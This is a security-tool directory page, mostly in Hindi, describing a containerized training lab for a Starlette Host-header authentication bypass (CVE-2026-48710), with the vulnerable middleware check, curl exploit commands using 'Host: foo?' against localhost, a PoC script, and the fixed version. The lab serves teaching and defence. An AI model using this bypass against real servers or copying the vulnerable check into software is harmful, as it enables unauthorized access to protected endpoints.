Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
starlette-host-header-lab — Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710 | Kitploit
उपकरण/GitHubGitHub/xtremebeing/starlette-host-header-lab
भेद्यता विश्लेषणवेब सुरक्षाप्रमाणीकरणगलत कॉन्फ़िगरेशनलर्निंग और शिक्षालैब और अभ्यास
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
12 महीने पहलेअभी तक समीक्षित नहीं

Starlette Host-Header URL कन्फ्यूजन लैब (X41-2026-002)

X41 D-Sec द्वारा खुलासा किए गए Starlette प्रमाणीकरण-बायपास भेद्यता को पुन: पेश करने वाली एक स्व-निहित, कंटेनरीकृत प्रशिक्षण लैब।

  • एडवाइज़री: X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — व्याख्या संघर्ष / फ़ंक्शन कॉल में अविश्वसनीय इनपुट
  • CVSS: 7.0 (उच्च)
  • प्रभावित: Starlette >= 0.8.3, < 1.0.1 (लैब 0.37.2 पर सेट है)
  • समाधान: Starlette 1.0.1 में

⚠️ केवल अधिकृत सुरक्षा प्रशिक्षण के लिए। यह ऐप जानबूझकर कमजोर है। इसे किसी भी सुलभ नेटवर्क पर तैनात न करें।


एक पैराग्राफ में भेद्यता

Starlette कच्चे ASGI scope["path"] का उपयोग करके एक अनुरोध को रूट पर भेजता है, लेकिन यह क्लाइंट द्वारा प्रदान किए गए Host हेडर को "{scheme}://{host}{path}" में स्ट्रिंग-फ़ॉर्मेट करके request.url का पुनर्निर्माण करता है — RF आवश्यकता 9112 §3.2 के अनुसार Host हेडर को मान्य किए बिना। क्योंकि URL मेटाकैरेक्टर (?, /, #) को सीधे अनुमति दी जाती है, एक हमलावर पुनर्निर्मित पथ को रूट किए गए पथ से अलग कर सकता है। request.url.path के विरुद्ध लिखी गई कोई भी सुरक्षा जांच को तब धोखा दिया जा सकता है जबकि राउटर अभी भी संरक्षित हैंडलर तक पहुँचता है।

PoC क्यों काम करता है

कमजोर मिडलवेयर अनुरोध को केवल तब अनुमति देता है जब request.url.path / या खाली हो:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # allowed
return PlainTextResponse("Forbidden", status_code=403)

GET /admin के विरुद्ध Host: foo? भेजें:

घटकउपयोग किया गया मान
राउटर ()

? इसके बाद की हर चीज़ को क्वेरी स्ट्रिंग में बदल देता है, इसलिए पार्स किया गया पथ खाली है। प्रमाणीकरण एक खाली पथ देखता है और इसे पास कर देता है; राउटर अभी भी /admin प्रदान करता है। बायपास प्राप्त हुआ।


लैब चलाना

Docker + Docker Compose आवश्यक है।

root@kitploit:~
docker compose up --build

दो सेवाएँ शुरू होती हैं:

सेवाURLव्यवहार
vulnerablehttp://localhost:8000बायपास करने योग्य
fixedhttp://localhost:8001शमित (दो तरीके)

इसका शोषण करें

root@kitploit:~
# Blocked normally:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

या निर्देशित PoC स्क्रिप्ट चलाएँ:

root@kitploit:~
./exploit/exploit.sh        # attacks :8000 (succeeds)
./exploit/exploit.sh 8001   # attacks :8001 (fails — fixed)

कमजोर /admin हैंडलर एक JSON बॉडी लौटाता है जो भ्रम को दृश्यमान बनाता है — ध्यान दें कि scope_path और reconstructed_path कैसे भिन्न हैं:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

इसे कैसे ठीक किया गया

देखें fixed/fixed_app.py। दो स्वतंत्र शमन:

  1. आधिकारिक मान का उपयोग करें। पुनर्निर्मित request.url.path के बजाय request.scope["path"] पर प्रमाणीकरण निर्णय लें — वही कच्चा पथ जो राउटर उपयोग करता है।
  2. गहराई में रक्षा। TrustedHostMiddleware किसी भी एप्लिकेशन लॉजिक के चलने से पहले अप्रत्याशित/गलत Host हेडर को अस्वीकार करता है, जो एक RFC-अनुरूप रिवर्स प्रॉक्सी (nginx/Apache) अपस्ट्रीम में करता है।

वास्तविक दुनिया का समाधान बस Starlette ≥ 1.0.1 में अपग्रेड करना है, जो URL पुनर्निर्माण के दौरान Host हेडर को मान्य करता है।


इंजीनियरों के लिए चर्चा के संकेत

  1. एक सामान्य स्टैक में और कहाँ एक मान अविश्वसनीय इनपुट से पुनर्निर्मित किया जाता है और फिर उस पर भरोसा किया जाता है? (संकेत: SSRF अनुमति-सूचियाँ, OAuth redirect_uri, कैश कुंजियाँ, Host से बने पासवर्ड-रीसेट लिंक।)
  2. यहाँ "खराब पथ को ब्लॉक करना" (/admin) "रूट किए गए एंडपॉइंट पर निर्णय लेने" से अधिक नाजुक क्यों है? यदि रूटिंग केस-असंवेदनशील है या ट्रेलिंग-स्लैश रीडायरेक्ट हैं तो क्या होगा?
  3. यह CWE-436 (व्याख्या संघर्ष) है। इस आकार के और कौन से प्रसिद्ध बग हैं? (HTTP अनुरोध तस्करी, यूनिकोड सामान्यीकरण प्रमाणीकरण बायपास, 0.0.0.0-दिन।)

Files

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # जानबूझकर कमजोर सेवा
├── fixed/fixed_app.py      # तुलना के लिए शमित सेवा
├── exploit/exploit.sh      # निर्देशित प्रूफ-ऑफ-कॉन्सेप्ट
├── requirements.txt        # Starlette 0.37.2 को पिन करता है (कमजोर)
├── Dockerfile
├── docker-compose.yml
└── README.md
टूल डाउनलोड करें
scope["path"]
/admin → admin() को भेजता है
request.urlhttp://foo?/admin
request.url.path"" → प्रमाणीकरण जांच पास करता है ✅